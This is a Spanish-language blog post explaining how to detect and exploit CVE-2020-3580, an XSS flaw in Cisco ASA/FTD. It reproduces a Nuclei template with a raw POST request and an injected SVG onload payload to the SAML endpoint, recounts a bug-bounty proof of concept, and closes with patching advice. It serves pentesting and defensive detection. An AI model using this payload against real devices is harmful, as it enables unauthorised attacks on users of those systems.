Explotando CVE-2020-3580

Explotando CVE-2020-3580

Introducción

En este post vengo a relatar como es posible explotar esta vulnerabilidad que afecta a CISCO ASA por si os la encontráis en algun pentest, bug bounty etc.

Descripción

Múltiples vulnerabilidades en la interfaz de servicios web de Cisco Adaptive Security Appliance (ASA) Software y Cisco Firepower Threat Defense (FTD) Software, podrían permitir a un atacante remoto no autenticado conducir ataques de tipo cross-site scripting (XSS) contra un usuario de la interfaz de servicios web de un dispositivo afectado. Las vulnerabilidades son debido a una comprobación insuficiente de la entrada suministrada por el usuario mediante la interfaz de servicios web de un dispositivo afectado. Un atacante podría explotar estas vulnerabilidades al persuadir a un usuario de la interfaz para que haga clic en un enlace diseñado. Una explotación con éxito podría permitir a un atacante ejecutar un código script arbitrario en el contexto de la interfaz o permitir a un atacante acceder a información confidencial basada en el navegador. Nota: Estas vulnerabilidades afectan solo a configuraciones específicas de AnyConnect y WebVPN. Para más información, consulte la sección Vulnerable Products

INCIBE: https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2020-3580

Para la detección de esta vulnerabilidad os pongo el template de Nuclei:

id: CVE-2020-3580

info:
  name: CVE-2020-3580
  author: Mikey96
  severity: Medium
  description: CVE-2020-3580 - Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software XSS

requests:
  - raw:
      - |
        POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
        Host: {{Hostname}}
        Cookie: webvpnlogin=1; webvpnLang=en
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
        Accept-Language: en-GB,en;q=0.5
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 66
        Upgrade-Insecure-Requests: 1
        Te: trailers
        Connection: close

        SAMLResponse=%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<svg/onload=alert(document.domain)>'
        part: body

Se observa dos modelos de detección:

  1. Una petición POST hacia el endpoint /+CSCOE+/saml/sp/acs?tgname=a
  2. Inyección del payload SAMLResponse=”><svg/onload=alert(document.domain)>

Os expongo una imagen para que se contemple el flujo que haría un asset afectado. Desde que se detecta a nivel HTML la inyección de la llamada al CISCO ASA, como se intercepta la petición con Burpsuite y se inyecta el payload y finalmente como se renderiza la respuesta en el navegador obteniendo la vulnerabilidad XSS:

El score de la vulnerabilidad es de 6.1 (Medio) CVSS:3.1: /AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Explotación

Se puede llevar a cabo un XSS por medio de una petición POST. A modo prueba de concepto os expongo un caso real de un progama que vi en Bug Bounty por si os puede resultar útil:

Payload utilizado: “><svg/onload=alert(‘Exploited!’)>

En la respuesta del servidor se observa que el body llama a la función submit_saml() y es por este motivo donde se puede hacer una llamada a esta función a nivel SAML realizando una inyección de código malicioso.

Mitigación

Se recomienda realizar este tipo de pautas si se ve afectado algún asset:

  • Instalar las actualizaciones del fabricante disponibles en medios oficiales del proveedor, previo análisis del impacto que podría provocar en los servicios críticos para el negocio de su organización. Para ello consulte con su personal técnico o áreas resolutorias correspondientes.
    • Las versiones 9.7 y anteriores del software Cisco ASA, así como la versión 9.10, han llegado al final del mantenimiento del software . Se recomienda a los clientes que migren a una versión compatible que incluya la solución para estas vulnerabilidades.
    • Las versiones 6.0.1 y anteriores del software Cisco FMC y FTD, así como las versiones 6.2.0 y 6.2.1, han llegado al final del mantenimiento del software . Se recomienda a los clientes que migren a una versión compatible que incluya la solución para estas vulnerabilidades.
To top